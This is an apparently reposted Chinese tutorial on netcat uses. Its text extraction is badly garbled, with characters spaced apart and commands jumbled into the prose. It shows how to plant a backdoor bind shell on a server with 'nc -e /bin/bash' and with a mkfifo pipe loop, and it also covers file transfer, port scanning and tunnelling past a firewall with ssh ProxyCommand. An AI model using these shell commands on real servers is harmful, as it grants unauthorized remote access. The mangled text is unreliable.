搜索

[26233] 2020-08-25_nc很强大，容易让人蹲号子

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2020-08-25_nc很强大，容易让人蹲号子 n c 很 强 大 ， 容 易 让 人 蹲 号 子 L i n u x 学 习   2 0 2 0 - 0 8 - 2 5 以 下 文 章 来 源 于 小 姐 姐 味 道   ， 作 者 小 姐 姐 养 的 狗 来 自 公 众 号 ： 来 自 公 众 号 ： 小 姐 姐 味 道 小 姐 姐 味 道 作 者 简 介 ： 一 个 不 允 许 程 序 员 走 弯 路 的 公 众 号 。 聚 焦 基 础 架 构 和 L i n u x 。 十 年 架 构 ， 日 百 亿 流 量 ， 与 你 探 讨 高 并 发 世 界 ， 给 你 不 一 样 的 味 道 。 对 于 n c 命 令 来 说 ， 可 真 的 是 要 一 行 代 码 调 半 天 。 因 为 这 行 代 码 的 威 力 是 非 常 大 的 ！ 当 然 ， 用 不 好 的 话 ， 还 会 给 自 身 带 来 麻 烦 。 这 个 工 具 ， 简 称 ， 是 L i n u x 上 一 个 非 常 强 大 的 工 具 （ 当 然 也 有 w i n d o w s 版 本 ） 。 由 于 它 能 力 实 在 太 强 ， 有 些 公 司 甚 至 对 他 进 行 了 隔 离 （ q u a r a n t i n e d ） 。 比 如 掉 ， 或 者 给 的 权 限 。 因 为 它 很 容 易 可 以 在 服 务 器 上 开 一 个 后 门 （ b a c k d o o r ) ， 并 且 及 其 方 便 。 那 n c 命 令 在 什 么 地 方 呢 ？ w h e r e   i s   i t ？ 它 告 诉 我 ， 文 件 在 / u s r / b i n 目 录 下 。 我 们 使 用 f i l e 命 令 来 看 一 下 它 的 属 性 。 结 果 发 现 它 是 一 个 链 接 文 件 。 小 姐 姐 味 道 小 姐 姐 味 道   . 不 羡 鸳 鸯 不 羡 仙 ， 一 行 代 码 调 半 天 n e t c a t n c r e n a m e 0 0 0 #   w h e r e i s   n c n c :   / u s r / b i n / n c   / u s r / s h a r e / m a n / m a n 1 / n c . 1 . g z
从 这 里 我 们 能 够 看 出 ， 的 全 称 是 ： 。 这 是 一 把 瑞 士 军 刀 。 n c 的 参 数 非 常 非 常 多 ， 如 果 列 出 来 ， 会 让 你 失 去 兴 趣 ， 白 白 错 过 了 这 么 厉 害 的 工 具 ， 也 错 过 了 进 局 子 的 机 会 。 我 们 还 是 以 案 例 来 说 明 ， 这 款 不 到 1 M B 的 命 令 ， 为 什 么 俘 获 了 的 芳 心 。 1 .   服 务 器 上 安 后 门 服 务 器 上 安 后 门 下 面 的 命 令 ， 将 在 机 器 上 开 放 端 口 。 服 务 端 ： 这 个 过 程 叫 做 反 弹 s h e l l ， 远 程 就 可 以 使 用 n c 命 令 连 接 ， 做 一 些 事 情 。 客 户 端 ： 此 时 ， 执 行 任 何 s h e l l 命 令 ， 都 可 以 正 常 运 行 。 下 面 这 张 g i f 动 画 可 以 验 证 这 个 过 程 。 #   f i l e   / u s r / b i n / n c / u s r / b i n / n c :   s y m b o l i c   l i n k   t o   ` n c a t ' n c n c a t C o n c a t e n a t e   a n d   r e d i r e c t   s o c k e t s x j j d o g 5 8 7 9 #   n c   - l   - v v   - p   5 8 7 9   - e   / b i n / b a s h N c a t :   V e r s i o n   6 . 4 0   (   h t t p : / / n m a p . o r g / n c a t   ) N c a t :   L i s t e n i n g   o n   : : : 5 8 7 9 N c a t :   L i s t e n i n g   o n   0 . 0 . 0 . 0 : 5 8 7 9 #   n c   - v   1 9 2 . 1 6 . 1 . 5 4   5 8 7 9 C o n n e c t i o n   t o   1 9 2 . 1 6 . 1 . 5 4   p o r t   5 8 7 9   [ t c p / * ]   s u c c e e d e d !
想 要 更 霸 道 一 点 的 么 ？ 我 们 需 要 借 助 命 令 。 在 服 务 器 上 ， 执 行 下 面 两 个 命 令 ， 这 就 构 造 了 一 个 循 环 。 客 户 端 n c 连 接 以 后 ， 竟 然 直 接 出 现 了 命 令 行 操 作 终 端 ！ 你 可 能 会 说 ， 我 客 户 端 关 掉 之 后 ， 为 什 么 服 务 端 的 命 令 也 退 出 了 ？ 如 果 你 想 要 服 务 端 继 续 监 听 ， 可 以 加 上 参 数 。 2 . 文 件 和 目 录 传 送 文 件 和 目 录 传 送 还 在 用 s f t p ？ 还 是 用 r z s z ？ 这 些 工 具 虽 然 好 用 ， 但 需 要 安 装 。 有 时 候 事 情 紧 急 ， 或 者 权 限 把 的 严 ， 并 没 有 这 样 的 工 具 。 此 时 ， n c 可 以 来 帮 忙 。 服 务 端 同 样 监 听 一 个 端 口 ， 但 是 这 次 把 重 定 向 定 向 到 一 个 文 件 。 m k f i f o r m   - f   / t m p / f ;   m k f i f o   / t m p / f c a t   / t m p / f   |   / b i n / b a s h   - i   2 > & 1   |   n c   - l     5 8 7 9   >   / t m p / f $   n c   - v   1 9 2 . 1 6 . 1 . 5 4   5 8 7 9 C o n n e c t i o n   t o   1 9 2 . 1 6 . 1 . 5 4   p o r t   5 8 7 9   [ t c p / * ]   s u c c e e d e d ! [ r o o t @ l o c a l h o s t ~ ] # - k
客 户 端 就 可 以 启 动 一 个 命 令 将 文 件 发 送 过 去 。 这 次 是 使 用 反 向 的 箭 头 。 文 件 传 的 飞 快 ！ 而 且 由 于 没 有 r s a 那 一 套 的 加 密 ， 速 度 更 快 了 。 查 看 它 们 的 m d 5 ， 一 模 一 样 。 我 知 道 你 的 脑 子 里 现 在 在 想 着 怎 么 传 送 目 录 了 。 这 个 过 程 很 有 意 思 。 我 们 把 n c 的 输 出 ， 使 用 管 道 交 给 t a r 命 令 处 理 。 和 是 一 对 参 数 ， 你 应 该 猜 到 要 怎 么 做 了 。 没 错 ， 客 户 端 的 代 码 与 上 面 的 是 相 反 的 。 不 过 这 次 ， 我 们 的 n c 命 令 接 收 了 打 包 的 文 件 。 真 的 是 非 常 巧 妙 。 3 . 网 络 连 通 性 检 测 网 络 连 通 性 检 测 没 错 ， 这 是 n c 命 令 最 常 用 的 地 方 了 。 如 果 你 想 要 判 断 服 务 器 的 t o m c a t 端 口 是 否 开 启 ， 不 需 要 登 陆 到 服 务 器 上 ， 然 后 再 一 下 看 一 下 进 程 ， 或 者 使 用 n c   - l   5 8 7 9   >   f i l e n c   - v   1 9 2 . 1 6 . 1 . 5 4   5 8 7 9   <   r e d i s - 5 . 0 . 5 . t a r . g z M D 5   ( r e d i s - 5 . 0 . 5 . t a r . g z )   =   2 2 4 c a b f 2 6 d 6 2 2 f 3 7 5 2 8 b 3 9 8 7 6 2 e 1 5 7 8 c m d 5 s u m   f i l e 2 2 4 c a b f 2 6 d 6 2 2 f 3 7 5 2 8 b 3 9 8 7 6 2 e 1 5 7 8 c     f i l e x f v z c v f z n c   - l   5 8 7 9     |   t a r   x f v z   - t a r   c f z   -   r e d i s - 5 . 0 . 5   |     n c   - v   1 9 2 . 1 6 . 1 . 5 4   5 8 7 9 p s n e t s t a t   - a n t l
看 一 下 监 听 的 端 口 。 使 用 n c 就 可 以 了 。 只 需 要 简 单 的 打 上 i p 和 端 口 ， 它 就 能 知 道 结 果 。 当 然 ， 它 也 可 以 扫 描 主 机 的 端 口 开 放 情 况 。 不 过 对 程 序 员 来 说 用 的 不 多 。 4 . 防 火 墙 穿 透 防 火 墙 穿 透 比 如 下 面 这 张 图 。 你 想 要 访 问 的 这 台 机 器 ， 但 是 你 是 没 有 权 限 的 。 它 只 能 通 过 的 防 火 墙 访 问 。 同 时 ， 也 只 能 接 受 来 自 的 请 求 。 n e t s t a t   - a n t l #   n c   - v v v   b a i d u . c o m   4 4 3 C o n n e c t i o n   t o   b a i d u . c o m   p o r t   4 4 3   [ t c p / h t t p s ]   s u c c e e d e d ! n c   - v z w   2   1 9 2 . 1 6 . 1 . 5 4   8 8 8 8 - 9 9 9 9 t o n g a r i r o a o r a k i a o r a k i r u a p e h u
通 过 组 合 s s h 命 令 可 以 达 到 这 个 效 果 。 通 过 s s h 的 ， 可 以 完 成 简 单 的 配 置 。 使 用 下 面 的 命 令 可 以 快 速 打 通 这 个 通 道 。 5 . 其 他 其 他 你 可 以 看 到 了 。 n c 的 这 些 能 力 ， 不 是 n c 自 身 提 供 的 ， 而 是 其 他 额 外 的 命 令 。 比 如 ， 这 里 实 现 一 个 简 单 的 时 间 服 务 器 。 w e b 浏 览 器 访 问 即 可 获 取 。 再 比 如 ， 做 一 个 远 程 视 频 服 务 。 s s h   - A   - t   r u a p e h u . e x a m p l e . c o m   s s h   - A   - t   a o r a k i   s s h   - A   t o n g a r i r o P r o x y C o m m a n d s s h   - o P r o x y C o m m a n d = " s s h   h o s t 1   n c   h o s t 2   2 2 "   h o s t 2 n c a t   - l k p   8 9 7 6   - - s h - e x e c   ' e c h o   - n e   " H T T P / 1 . 0   2 0 0   O K r n r n T h e   d a t e   i s   " ;   d a t e ; '
服 务 端 。 客 户 端 。 ● 输 入 m 获 取 文 章 目 录 推 荐 推 荐 ↓ ↓ ↓ 运 维 运 维 更 多 推 荐 更 多 推 荐 《 《 2 5 个 技 术 类 公 众 微 信 个 技 术 类 公 众 微 信 》 》 涵 盖 ： 程 序 人 生 、 算 法 与 数 据 结 构 、 黑 客 技 术 与 网 络 安 全 、 大 数 据 技 术 、 前 端 开 发 、 J a v a 、 P y t h o n 、 W e b 开 发 、 安 卓 开 发 、 i O S 开 发 、 C / C + + 、 . N E T 、 L i n u x 、 数 据 库 、 运 维 等 。 a r e c o r d   - f   c d   - c   2   |   l a m e   - b 1 2 8   -   -   |   n e t c a t   - u   y o u r - i p   6 8 8 1   |   m p g 1 2 3   - a r e c o r d   - f   c d   - c   2   |   l a m e   - b 1 2 8   -   -   |   n e t c a t   - u   - l   6 8 8 1   |   m p g 1 2 3   - * * * *
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理